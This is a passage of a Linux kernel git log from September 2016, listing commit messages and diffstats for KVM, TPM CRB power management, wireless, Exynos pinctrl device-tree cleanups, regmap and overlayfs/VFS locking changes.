+++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 3e3f50262eb441d0fd1de4dce06739e9c0fe7c61 Author: Luiz Capitulino Date: Wed Sep 7 14:47:20 2016 -0400 kvm: x86: drop read_tsc_offset() The TSC offset can now be read directly from struct kvm_arch_vcpu. Signed-off-by: Luiz Capitulino Signed-off-by: Paolo Bonzini arch/x86/include/asm/kvm_host.h | 1 - arch/x86/kvm/svm.c | 8 -------- arch/x86/kvm/vmx.c | 6 ------ arch/x86/kvm/x86.c | 2 +- 4 files changed, 1 insertion(+), 16 deletions(-) commit a545ab6a0085e6df9c7b6e9734b40ba4d2aca8c9 Author: Luiz Capitulino Date: Wed Sep 7 14:47:19 2016 -0400 kvm: x86: add tsc_offset field to struct kvm_vcpu_arch A future commit will want to easily read a vCPU's TSC offset, so we store it in struct kvm_arch_vcpu_arch for easy access. Signed-off-by: Luiz Capitulino Signed-off-by: Paolo Bonzini arch/x86/include/asm/kvm_host.h | 1 + arch/x86/kvm/x86.c | 10 ++++++++-- 2 files changed, 9 insertions(+), 2 deletions(-) commit 81539169f283329fd8bc58457cc15754f683ba69 Author: Josh Poimboeuf Date: Fri Sep 16 08:05:20 2016 -0500 x86/dumpstack: Remove NULL task pointer convention show_stack_log_lvl() and friends allow a NULL pointer for the task_struct to indicate the current task. This creates confusion and can cause sneaky bugs. Instead require the caller to pass 'current' directly. This only changes the internal workings of the dumpstack code. The dump_trace() and show_stack() interfaces still allow a NULL task pointer. Those interfaces should also probably be fixed as well. Signed-off-by: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Signed-off-by: Ingo Molnar arch/x86/include/asm/stacktrace.h | 4 ++-- arch/x86/kernel/dumpstack.c | 4 +++- arch/x86/kernel/dumpstack_32.c | 2 +- arch/x86/kernel/dumpstack_64.c | 2 +- 4 files changed, 7 insertions(+), 5 deletions(-) commit 3a23f384f7d6b42ef7e4e323d7c094124d96d7ed Author: Vinay Simha BN Date: Wed Sep 7 15:50:10 2016 +0530 dt-bindings: Add summit vendor id Add vendor id for Summit microelectronics for SMB347 charger. Cc: John Stultz Cc: Sumit Semwal Signed-off-by: Jonghwa Lee Cc: Chanwoo Choi Cc: Myungjoo Ham Signed-off-by: Vinay Simha BN Signed-off-by: Rob Herring Documentation/devicetree/bindings/vendor-prefixes.txt | 1 + 1 file changed, 1 insertion(+) commit e350e24694e447e6ab7312fffae5ca31a0bb5165 Author: Winkler, Tomas Date: Mon Sep 12 16:04:21 2016 +0300 tmp/tpm_crb: implement runtime pm for tpm_crb Utilize runtime_pm for driving tpm crb idle states. The framework calls cmd_ready from the pm_runtime_resume handler and go idle from the pm_runtime_suspend handler. The TPM framework should wake the device before transmit and receive. In case the runtime_pm framework is not enabled, the device will be in ready state. [jarkko.sakkinen@linux.intel.com: changed pm_runtime_put_sync() to pm_runtime_put()] Signed-off-by: Tomas Winkler Reviewed-by: Jarkko Sakkinen Tested-by: Jarkko Sakkinen drivers/char/tpm/tpm-interface.c | 5 +++++ drivers/char/tpm/tpm_crb.c | 37 ++++++++++++++++++++++++++++++++++--- 2 files changed, 39 insertions(+), 3 deletions(-) commit fbd05e4a6e82fd573d3aa79e284e424b8d78c149 Author: Luca Coelho Date: Thu Sep 15 18:15:09 2016 +0300 cfg80211: add helper to find an IE that matches a byte-array There are a few places where an IE that matches not only the EID, but also other bytes inside the element, needs to be found. To simplify that and reduce the amount of similar code, implement a new helper function to match the EID and an extra array of bytes. Additionally, simplify cfg80211_find_vendor_ie() by using the new match function. Signed-off-by: Luca Coelho Signed-off-by: Johannes Berg include/net/cfg80211.h | 33 +++++++++++++++++++++++++++- net/wireless/scan.c | 58 +++++++++++++++++++++++--------------------------- 2 files changed, 59 insertions(+), 32 deletions(-) commit b59abfbed638037f3b51eeb73266892cd2df177f Author: Johannes Berg Date: Thu Sep 15 16:30:03 2016 +0300 mac80211_hwsim: statically initialize hwsim_radios list There's no need to initialize at runtime, when the static declaration macro can just be used instead, so do that. Signed-off-by: Johannes Berg drivers/net/wireless/mac80211_hwsim.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit c68df2e7be0c1238ea3c281fd744a204ef3b15a0 Author: Emmanuel Grumbach Date: Thu Sep 15 16:30:02 2016 +0300 mac80211: allow using AP_LINK_PS with mac80211-generated TIM IE In 46fa38e84b65 ("mac80211: allow software PS-Poll/U-APSD with AP_LINK_PS"), Johannes allowed to use mac80211's code for handling stations that go to PS or send PS-Poll / uAPSD trigger frames for devices that enable RSS. This means that mac80211 doesn't look at frames anymore but rather relies on a notification that will come from the device when a PS transition occurs or when a PS-Poll / trigger frame is detected by the device. iwlwifi will need this capability but still needs mac80211 to take care of the TIM IE. Today, if a driver sets AP_LINK_PS, mac80211 will not update the TIM IE. Change mac80211 to check existence of the set_tim driver callback rather than using AP_LINK_PS to decide if the driver handles the TIM IE internally or not. Signed-off-by: Emmanuel Grumbach Signed-off-by: Luca Coelho [reword commit message a bit] Signed-off-by: Johannes Berg net/mac80211/sta_info.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0c22db435bf79d3cf3089df7ff198d4867df3c27 Author: Winkler, Tomas Date: Mon Sep 12 16:04:20 2016 +0300 tpm/tpm_crb: open code the crb_init into acpi_add This is preparation step for implementing tpm crb runtime pm. We need to have tpm chip allocated and populated before we access the runtime handlers. Signed-off-by: Tomas Winkler Tested-by: Jarkko Sakkinen drivers/char/tpm/tpm_crb.c | 26 ++++++++++---------------- 1 file changed, 10 insertions(+), 16 deletions(-) commit 9514ff1961c6f0f5983ba72d94f384bc13e0d4a1 Author: Winkler, Tomas Date: Mon Sep 12 16:04:19 2016 +0300 tmp/tpm_crb: fix Intel PTT hw bug during idle state There is a HW bug in Skylake, and Broxton PCH Intel PTT device, where most of the registers in the control area except START, REQUEST, CANCEL, and LOC_CTRL lost retention when the device is in the idle state. Hence we need to bring the device to ready state before accessing the other registers. The fix brings device to ready state before trying to read command and response buffer addresses in order to remap the for access. Signed-off-by: Tomas Winkler Tested-by: Jarkko Sakkinen Reviewed-by: Jarkko Sakkinen drivers/char/tpm/tpm_crb.c | 47 ++++++++++++++++++++++++++++++++++++++-------- 1 file changed, 39 insertions(+), 8 deletions(-) commit e17acbbb69d30836a8c12e2c09bbefab8656693e Author: Winkler, Tomas Date: Thu Sep 15 10:27:38 2016 +0300 tpm/tpm_crb: implement tpm crb idle state The register TPM_CRB_CTRL_REQ_x contains bits goIdle and cmdReady for SW to indicate that the device can enter or should exit the idle state. The legacy ACPI-start (SMI + DMA) based devices do not support these bits and the idle state management is not exposed to the host SW. Thus, this functionality only is enabled only for a CRB start (MMIO) based devices. Based on Jarkko Sakkinen original patch: 'tpm_crb: implement power tpm crb power management' To keep the implementation local to the hw we don't use wait_for_tpm_stat for polling the TPM_CRB_CTRL_REQ. Signed-off-by: Tomas Winkler Reviewed-by: Jarkko Sakkinen Tested-by: Jarkko Sakkinen drivers/char/tpm/tpm_crb.c | 69 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) commit 2b6bc7f48d34a6043915beddbf53b981603737c8 Author: Miklos Szeredi Date: Fri Sep 16 14:12:11 2016 +0200 ovl: lookup: do getxattr with mounter's permission The getxattr() in ovl_is_opaquedir() was missed when converting all operations on underlying fs to be done under mounter's permission. This patch fixes this by moving the ovl_override_creds()/revert_creds() out from ovl_lookup_real() to ovl_lookup(). Also convert to using vfs_getxattr() instead of directly calling i_op->getxattr(). Signed-off-by: Miklos Szeredi fs/overlayfs/super.c | 20 +++++++++----------- 1 file changed, 9 insertions(+), 11 deletions(-) commit 8b326c61de08f5ca4bc454a168f19e7e43c4cc2a Author: Miklos Szeredi Date: Fri Sep 16 14:12:11 2016 +0200 ovl: copy_up_xattr(): use strnlen Be defensive about what underlying fs provides us in the returned xattr list buffer. strlen() may overrun the buffer, so use strnlen() and WARN if the contents are not properly null terminated. Signed-off-by: Miklos Szeredi Cc: fs/overlayfs/copy_up.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit d13799237dee34e1b9cd377f0ced7bee24ac810f Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:20 2016 +0200 ARM: dts: s3c64xx: Use macros for pinctrl configuration Usage of DTS macros instead of hard-coded numbers makes code easier to read. One does not have to remember which value means pull-up/down or specific driver strength. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij arch/arm/boot/dts/s3c64xx-pinctrl.dtsi | 176 ++++++++++++++++----------------- 1 file changed, 88 insertions(+), 88 deletions(-) commit 930f2910dc770dd7690bb51988101821c17de2d8 Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:19 2016 +0200 ARM: dts: s3c2416: Use macros for pinctrl configuration Usage of DTS macros instead of hard-coded numbers makes code easier to read. One does not have to remember which value means pull-up/down or specific driver strength. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij arch/arm/boot/dts/s3c2416-pinctrl.dtsi | 38 ++++++++++++++++++---------------- 1 file changed, 20 insertions(+), 18 deletions(-) commit 293fea6f71dcb5c68b47f253c6f77ef5c030e2c3 Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:18 2016 +0200 ARM: dts: s5pv210: Use macros for pinctrl configuration Usage of DTS macros instead of hard-coded numbers makes code easier to read. One does not have to remember which value means pull-up/down or specific driver strength. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij arch/arm/boot/dts/s5pv210-aquila.dts | 4 +- arch/arm/boot/dts/s5pv210-pinctrl.dtsi | 476 +++++++++++++++++---------------- 2 files changed, 241 insertions(+), 239 deletions(-) commit 68175d5dd7c5476da66922c2513b29ea6c669741 Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:17 2016 +0200 ARM: dts: s3c64xx: Use common macros for pinctrl configuration Replace duplicated macros in each DTSI file with a common macro coming from header. Include the header in each pinctrl DTSI so further changes could use it. Although PIN_FUNC_SPC_2 does not bring much information about the function itself, it still is more descriptive then hard-coded number <2>. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij arch/arm/boot/dts/s3c6410-mini6410.dts | 4 +- arch/arm/boot/dts/s3c64xx-pinctrl.dtsi | 180 ++++++++++++++++----------------- 2 files changed, 91 insertions(+), 93 deletions(-) commit 5e49773f8703a0b376cdcfd6b26fadf18485f26b Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:16 2016 +0200 ARM: dts: exynos: Fix mismatched values of SD drive strengh configuration on exynos4415 The pinctrl drive strength register on exynos4415 is 2-bit wide for each pin. The pins for SD2 were configured with value of 4. The driver does not validate the value so this overflow effectively set a bit 1 in adjacent pins thus configuring them to drive strength 2x. The author's intention was probably to set drive strength of 4x. All other SD pins are configured with drive strength of 4x. Fix these with same pattern. Fixes: 9246e7ff24c5 ("ARM: dts: Add dts files for exynos4415 SoC") Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Reviewed-by: Bartlomiej Zolnierkiewicz Acked-by: Linus Walleij arch/arm/boot/dts/exynos4415-pinctrl.dtsi | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit f7061ffb44116490f282f130a220ca2d10849248 Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:15 2016 +0200 ARM: dts: exynos: Fix mismatched value for SD4 pull up/down configuration on exynos4210 The pinctrl pull up/down register on exynos4210 is 2-bit wide for each pin and it accepts only values of 0, 1 and 3. The pins sd4-bus-width8 were configured with value of 4. The driver does not validate the value so this overflow effectively set a bit 1 in adjacent pins thus configuring them to pull down. The author's intention was probably to set drive strength of 4x. All other bus-widths pins are configured with pull up and drive strength of 4x. Fix this one with same pattern. Fixes: 87711d8c7c70 ("ARM: dts: Add pinctrl node entries for SAMSUNG EXYNOS4210 SoC") Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Reviewed-by: Bartlomiej Zolnierkiewicz Acked-by: Linus Walleij arch/arm/boot/dts/exynos4210-pinctrl.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a2f2bc384e8df20b881625e6a92726d5b9f39d6b Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:14 2016 +0200 ARM: dts: exynos: Use macros for pinctrl configuration on exynos542x/exynos5800 Usage of DTS macros instead of hard-coded numbers makes code easier to read. One does not have to remember which value means pull-up/down or specific driver strength. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij arch/arm/boot/dts/exynos5420-arndale-octa.dts | 6 +- arch/arm/boot/dts/exynos5420-peach-pit.dts | 126 ++++---- arch/arm/boot/dts/exynos5420-pinctrl.dtsi | 354 ++++++++++----------- arch/arm/boot/dts/exynos5420-smdk5420.dts | 18 +- arch/arm/boot/dts/exynos5422-odroidxu3-common.dtsi | 18 +- arch/arm/boot/dts/exynos5800-peach-pi.dts | 126 ++++---- 6 files changed, 324 insertions(+), 324 deletions(-) commit 17dcc16fbd0336a78e980a08d565ad5059f87c53 Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:13 2016 +0200 ARM: dts: exynos: Use macros for pinctrl configuration on exynos5410 Usage of DTS macros instead of hard-coded numbers makes code easier to read. One does not have to remember which value means pull-up/down or specific driver strength. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij arch/arm/boot/dts/exynos5410-odroidxu.dts | 30 ++--- arch/arm/boot/dts/exynos5410-pinctrl.dtsi | 180 +++++++++++++++--------------- arch/arm/boot/dts/exynos5410-smdk5410.dts | 10 +- 3 files changed, 110 insertions(+), 110 deletions(-) commit bad96a019d2867b6043ffcdcf211d92c40027c0f Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:12 2016 +0200 ARM: dts: exynos: Use macros for pinctrl configuration on exynos5260 Usage of DTS macros instead of hard-coded numbers makes code easier to read. One does not have to remember which value means pull-up/down or specific driver strength. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij arch/arm/boot/dts/exynos5260-pinctrl.dtsi | 184 ++++++++++++++--------------- arch/arm/boot/dts/exynos5260-xyref5260.dts | 6 +- 2 files changed, 95 insertions(+), 95 deletions(-) commit d953f1fb14d2573499a7584a091a724c5923d5b3 Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:11 2016 +0200 ARM: dts: exynos: Use macros for pinctrl configuration on exynos5250 Usage of DTS macros instead of hard-coded numbers makes code easier to read. One does not have to remember which value means pull-up/down or specific driver strength. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij arch/arm/boot/dts/exynos5250-pinctrl.dtsi | 402 +++++++++++++------------- arch/arm/boot/dts/exynos5250-smdk5250.dts | 6 +- arch/arm/boot/dts/exynos5250-snow-common.dtsi | 76 ++--- arch/arm/boot/dts/exynos5250-snow-rev5.dts | 6 +- arch/arm/boot/dts/exynos5250-snow.dts | 6 +- arch/arm/boot/dts/exynos5250-spring.dts | 72 ++--- 6 files changed, 284 insertions(+), 284 deletions(-) commit 040611c87c7fdd1aad4885b1f95b88c07fd6c84f Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:10 2016 +0200 ARM: dts: exynos: Use macros for pinctrl configuration on exynos4415 Usage of DTS macros instead of hard-coded numbers makes code easier to read. One does not have to remember which value means pull-up/down or specific driver strength. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij arch/arm/boot/dts/exynos4415-pinctrl.dtsi | 286 +++++++++++++++--------------- 1 file changed, 143 insertions(+), 143 deletions(-) commit c35bc3f9fa7340187d7b0fc5790623c76c2ceb54 Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:09 2016 +0200 ARM: dts: exynos: Use macros for pinctrl configuration on exynos4x12 Usage of DTS macros instead of hard-coded numbers makes code easier to read. One does not have to remember which value means pull-up/down or specific driver strength. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij arch/arm/boot/dts/exynos4412-odroid-common.dtsi | 14 +- arch/arm/boot/dts/exynos4412-odroidx.dts | 2 +- arch/arm/boot/dts/exynos4412-origen.dts | 12 +- arch/arm/boot/dts/exynos4412-smdk4412.dts | 12 +- arch/arm/boot/dts/exynos4x12-pinctrl.dtsi | 504 ++++++++++++------------ 5 files changed, 272 insertions(+), 272 deletions(-) commit 4b1a9e358693bbef0b5a1a5787e35490022957b9 Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:08 2016 +0200 ARM: dts: exynos: Use macros for pinctrl configuration on exynos4210 Usage of DTS macros instead of hard-coded numbers makes code easier to read. One does not have to remember which value means pull-up/down or specific driver strength. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij arch/arm/boot/dts/exynos4210-pinctrl.dtsi | 454 ++++++++++++------------ arch/arm/boot/dts/exynos4210-smdkv310.dts | 12 +- arch/arm/boot/dts/exynos4210-universal_c210.dts | 8 +- 3 files changed, 237 insertions(+), 237 deletions(-) commit 2aea3de8640cc8ce1977be99d2260fa507cb1a68 Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:07 2016 +0200 ARM: dts: exynos: Use macros for pinctrl configuration on exynos3250 Usage of DTS macros instead of hard-coded numbers makes code easier to read. One does not have to remember which value means pull-up/down or specific driver strength. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij arch/arm/boot/dts/exynos3250-pinctrl.dtsi | 270 +++++++++++++++--------------- 1 file changed, 135 insertions(+), 135 deletions(-) commit 90c6e35383dd02ef68a71f8373bdc9fbd0684a26 Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:06 2016 +0200 ARM: dts: exynos: Use common macros for pinctrl configuration Replace duplicated macros in each DTSI file with a common macro coming from header. Include the header in each pinctrl DTSI so further changes could use it. Although PIN_FUNC_SPC_2 does not bring much information about the function itself, it still is more descriptive then hard-coded number <2>. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij arch/arm/boot/dts/exynos3250-pinctrl.dtsi | 76 +++++++++++------------- arch/arm/boot/dts/exynos4210-pinctrl.dtsi | 2 + arch/arm/boot/dts/exynos4415-pinctrl.dtsi | 2 + arch/arm/boot/dts/exynos4x12-pinctrl.dtsi | 21 +++---- arch/arm/boot/dts/exynos5250-pinctrl.dtsi | 2 + arch/arm/boot/dts/exynos5260-pinctrl.dtsi | 96 +++++++++++++++---------------- arch/arm/boot/dts/exynos5410-pinctrl.dtsi | 2 + arch/arm/boot/dts/exynos5420-pinctrl.dtsi | 2 + 8 files changed, 96 insertions(+), 107 deletions(-) commit c0fee590160637e1306dd4bc1018e89ff99ef00d Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:05 2016 +0200 pinctrl: dt-bindings: samsung: Update documentation with new macros Update examples in Samsung pinctrl dt-bindings with new macros coming from header file. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij Acked-by: Rob Herring .../bindings/pinctrl/samsung-pinctrl.txt | 44 +++++++++++----------- 1 file changed, 23 insertions(+), 21 deletions(-) commit 5db7e3bb87df9fc2a6d6cbc3384ff073070c8d1b Author: Krzysztof Kozlowski Date: Sun Sep 4 13:04:04 2016 +0200 pinctrl: dt-bindings: samsung: Add header with values used for configuration Hard-coded pinctrl configuration values are scattered through DTS files. The numbers are difficult to decode by human, especially without the datasheet. Additionally the drive strength differs between S3C64xx, S5PV210 and Exynos SoC families increasing the confusion. The header will help making this more readable and maintainable. Signed-off-by: Krzysztof Kozlowski Reviewed-by: Javier Martinez Canillas Acked-by: Linus Walleij MAINTAINERS | 2 ++ include/dt-bindings/pinctrl/samsung.h | 57 +++++++++++++++++++++++++++++++++++ 2 files changed, 59 insertions(+) commit 8bc6bf178b671eb9b9fa806804f3990cb4c332aa Author: Chanwoo Choi Date: Wed Aug 24 22:49:06 2016 +0900 dt-bindings: EXYNOS: Add Exynos5433 PMU compatible This patch documents the usage of Exynos5433 PMU (Power Management Unit) compatible. Signed-off-by: Chanwoo Choi Acked-by: Rob Herring Signed-off-by: Krzysztof Kozlowski Documentation/devicetree/bindings/arm/samsung/pmu.txt | 1 + 1 file changed, 1 insertion(+) commit 67956ed1000faf7ce3274e04c582131f1e308d06 Author: Colin Ian King Date: Fri Sep 16 11:09:25 2016 +0100 ALSA: au88x0: Add missing \n to end of dev_err message Trival fix, the dev_err message is missing a \n so add it. Signed-off-by: Colin Ian King Signed-off-by: Takashi Iwai sound/pci/au88x0/au88x0_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3442d9eee459bb565c37a15eed57572b511e9c64 Author: Mika Kahola Date: Fri Sep 16 13:39:15 2016 +0300 drm: Fix DisplayPort branch device ID kernel-doc Fix missing parameter description for DisplayPort branch device ID. This fixes warning of "No description found for parameter 'id[6]'" when creating documentation by 'make htmldocs'. Reported-by: kbuild test robot References: https://lists.freedesktop.org/archives/intel-gfx/2016-September/106645.html Fixes: 266d783baaf5 ("drm: Read DP branch device id") Signed-off-by: Mika Kahola Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/1474022355-29990-1-git-send-email-mika.kahola@intel.com drivers/gpu/drm/drm_dp_helper.c | 1 + 1 file changed, 1 insertion(+) commit f1a4c1f33319e9d826df0ec040665501c6e8dca8 Author: Chanwoo Choi Date: Wed Aug 24 22:49:05 2016 +0900 clocksource: exynos_mct: Add the support for ARM64 This patch allows building and compile-testing the driver also for ARM64. The delay_timer is only supported on ARMv7. Cc: Daniel Lezcano Cc: Thomas Gleixner Cc: Kukjin Kim Cc: Krzysztof Kozlowski Signed-off-by: Chanwoo Choi Acked-by: Daniel Lezcano [k.kozlowski: Adjusted commit msg] Signed-off-by: Krzysztof Kozlowski drivers/clocksource/Kconfig | 2 +- drivers/clocksource/exynos_mct.c | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) commit 55562449032c43b84f839e2fbb84bf1d351d6603 Author: Tony Lindgren Date: Thu Sep 15 13:56:11 2016 -0700 regmap: Add missing little endian functions This with the longer read and write masks allow supporting more exotic devices. For example a little endian SPI device: static const struct regmap_config foo_regmap_config = { .reg_bits = 16, .reg_stride = 4, .val_bits = 16, .write_flag_mask = 0x8000, .reg_format_endian = REGMAP_ENDIAN_LITTLE, .val_format_endian = REGMAP_ENDIAN_LITTLE, ... }; Signed-off-by: Tony Lindgren Signed-off-by: Mark Brown drivers/base/regmap/regmap.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit f50e38c9966076465bc8d9dd0bc582c268a0031e Author: Tony Lindgren Date: Thu Sep 15 13:56:10 2016 -0700 regmap: Allow longer flag masks for read and write We currently only support masking the top bit for read and write flags. Let's make the mask unsigned long and mask the bytes based on the configured register length to make things more generic. This allows using regmap for more exotic combinations like SPI devices that need little endian addressing. Signed-off-by: Tony Lindgren Signed-off-by: Mark Brown drivers/base/regmap/internal.h | 4 ++-- drivers/base/regmap/regmap.c | 32 +++++++++++++++++++------------- include/linux/regmap.h | 8 ++++---- 3 files changed, 25 insertions(+), 19 deletions(-) commit 323117ab60156d5ef021eeef260c4e7e0a7f520e Author: Geert Uytterhoeven Date: Tue Sep 13 15:38:25 2016 +0200 spi: core: Use spi_sync_transfer() in spi_write()/spi_read() Simplify spi_write() and spi_read() using the spi_sync_transfer() helper. This requires moving spi_sync_transfer() up. Signed-off-by: Geert Uytterhoeven Signed-off-by: Mark Brown include/linux/spi/spi.h | 58 ++++++++++++++++++++++--------------------------- 1 file changed, 26 insertions(+), 32 deletions(-) commit 22b93eaf55edfd2f1fe9d1fc0d7338f582f12745 Author: Cheng-Yi Chiang Date: Fri Sep 16 07:10:06 2016 +0800 ASoC: rockchip: Support headset button function on rk3399 Set the mapping between button and media key event. Signed-off-by: Cheng-Yi Chiang Signed-off-by: Mark Brown sound/soc/rockchip/rk3399_gru_sound.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 814184fd402557f3e5960db469157ccdf1fb69da Author: Miklos Szeredi Date: Fri Sep 16 12:44:21 2016 +0200 vfat: don't use ->d_time Use d_fsdata instead, which is the same size. Introduce helpers to hide the typecasts. Signed-off-by: Miklos Szeredi Cc: OGAWA Hirofumi fs/fat/namei_vfat.c | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) commit a00be0e31f8df453ecbaaa4ba78d2ef935ab252e Author: Miklos Szeredi Date: Fri Sep 16 12:44:21 2016 +0200 cifs: don't use ->d_time Use d_fsdata instead, which is the same size. Introduce helpers to hide the typecasts. Signed-off-by: Miklos Szeredi Cc: Steve French fs/cifs/cifsfs.h | 10 ++++++++++ fs/cifs/dir.c | 6 +++--- fs/cifs/inode.c | 2 +- 3 files changed, 14 insertions(+), 4 deletions(-) commit beaf226b863a0bea28f2a6985555401450e968b2 Author: Miklos Szeredi Date: Fri Sep 16 12:44:21 2016 +0200 posix_acl: don't ignore return value of posix_acl_create_masq() Signed-off-by: Miklos Szeredi Cc: Andreas Gruenbacher fs/posix_acl.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 280db3c88c5ff03c2554d1503451352fde8a2cf3 Author: Miklos Szeredi Date: Fri Sep 16 12:44:21 2016 +0200 f2fs: use filemap_check_errors() Signed-off-by: Miklos Szeredi Cc: Jaegeuk Kim fs/f2fs/node.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit f0312210010bf063c29efe112b0d9accbc9191b3 Author: Miklos Szeredi Date: Fri Sep 16 12:44:21 2016 +0200 btrfs: use filemap_check_errors() Signed-off-by: Miklos Szeredi Reviewed-by: Omar Sandoval Cc: Chris Mason fs/btrfs/ctree.h | 1 - fs/btrfs/file.c | 2 +- fs/btrfs/inode.c | 15 --------------- fs/btrfs/tree-log.c | 4 ++-- 4 files changed, 3 insertions(+), 19 deletions(-) commit 4d0c5ba2ff79ef9f5188998b29fd28fcb05f3667 Author: Miklos Szeredi Date: Fri Sep 16 12:44:21 2016 +0200 vfs: do get_write_access() on upper layer of overlayfs The problem with writecount is: we want consistent handling of it for underlying filesystems as well as overlayfs. Making sure i_writecount is correct on all layers is difficult. Instead this patch makes sure that when write access is acquired, it's always done on the underlying writable layer (called the upper layer). We must also make sure to look at the writecount on this layer when checking for conflicting leases. Open for write already updates the upper layer's writecount. Leaving only truncate. For truncate copy up must happen before get_write_access() so that the writecount is updated on the upper layer. Problem with this is if something fails after that, then copy-up was done needlessly. E.g. if break_lease() was interrupted. Probably not a big deal in practice. Another interesting case is if there's a denywrite on a lower file that is then opened for write or truncated. With this patch these will succeed, which is somewhat counterintuitive. But I think it's still acceptable, considering that the copy-up does actually create a different file, so the old, denywrite mapping won't be touched. On non-overlayfs d_real() is an identity function and d_real_inode() is equivalent to d_inode() so this patch doesn't change behavior in that case. Signed-off-by: Miklos Szeredi Acked-by: Jeff Layton Cc: "J. Bruce Fields" fs/locks.c | 3 ++- fs/open.c | 15 +++++++++++++-- 2 files changed, 15 insertions(+), 3 deletions(-) commit 7b1742eb06ead6d02a6cf3c44587088e5392d1aa Author: Miklos Szeredi Date: Fri Sep 16 12:44:20 2016 +0200 vfs: make argument of d_real_inode() const d_op->d_real() leaves the dentry alone except if the third argument is non-zero. Unfortunately very difficult to explain to the compiler without a cast. Signed-off-by: Miklos Szeredi Acked-by: Jeff Layton include/linux/dcache.h | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit c568d68341be7030f5647def68851e469b21ca11 Author: Miklos Szeredi Date: Fri Sep 16 12:44:20 2016 +0200 locks: fix file locking on overlayfs This patch allows flock, posix locks, ofd locks and leases to work correctly on overlayfs. Instead of using the underlying inode for storing lock context use the overlay inode. This allows locks to be persistent across copy-up. This is done by introducing locks_inode() helper and using it instead of file_inode() to get the inode in locking code. For non-overlayfs the two are equivalent, except for an extra pointer dereference in locks_inode(). Since lock operations are in "struct file_operations" we must also make sure not to call underlying filesystem's lock operations. Introcude a super block flag MS_NOREMOTELOCK to this effect. Signed-off-by: Miklos Szeredi Acked-by: Jeff Layton Cc: "J. Bruce Fields" fs/locks.c | 50 +++++++++++++++++++++++++++---------------------- fs/namespace.c | 2 +- fs/open.c | 2 +- fs/overlayfs/super.c | 2 +- include/linux/fs.h | 16 ++++++++++++++-- include/uapi/linux/fs.h | 1 + 6 files changed, 46 insertions(+), 27 deletions(-) commit f3fbbb079263bd29ae592478de6808db7e708267 Author: Aihua Zhang Date: Thu Jul 7 15:37:53 2016 +0800 fsnotify: support overlayfs When an event occurs direct it to the overlay inode instead of the real underlying inode. This will work even if the file was first on the lower layer and then copied up, while the watch is there. This is because the watch is on the overlay inode, which stays the same through the copy-up. For filesystems other than overlayfs this is a no-op, except for the performance impact of an extra pointer dereferece. Verified to work correctly with the inotify/fanotify tests in LTP. Signed-off-by: Aihua Zhang Signed-off-by: Miklos Szeredi Cc: Jan Kara Cc: Eric Paris include/linux/fsnotify.h | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit 598e3c8f72f5b77c84d2cb26cfd936ffb3cfdbaa Author: Miklos Szeredi Date: Fri Sep 16 12:44:20 2016 +0200 vfs: update ovl inode before relatime check On overlayfs relatime_need_update() needs inode times to be correct on overlay inode. But i_mtime and i_ctime are updated by filesystem code on underlying inode only, so they will be out-of-date on the overlay inode. This patch copies the times from the underlying inode if needed. This can't be done if called from RCU lookup (link following) but link m/ctime are not updated by fs, so this is all right. This patch doesn't change functionality for 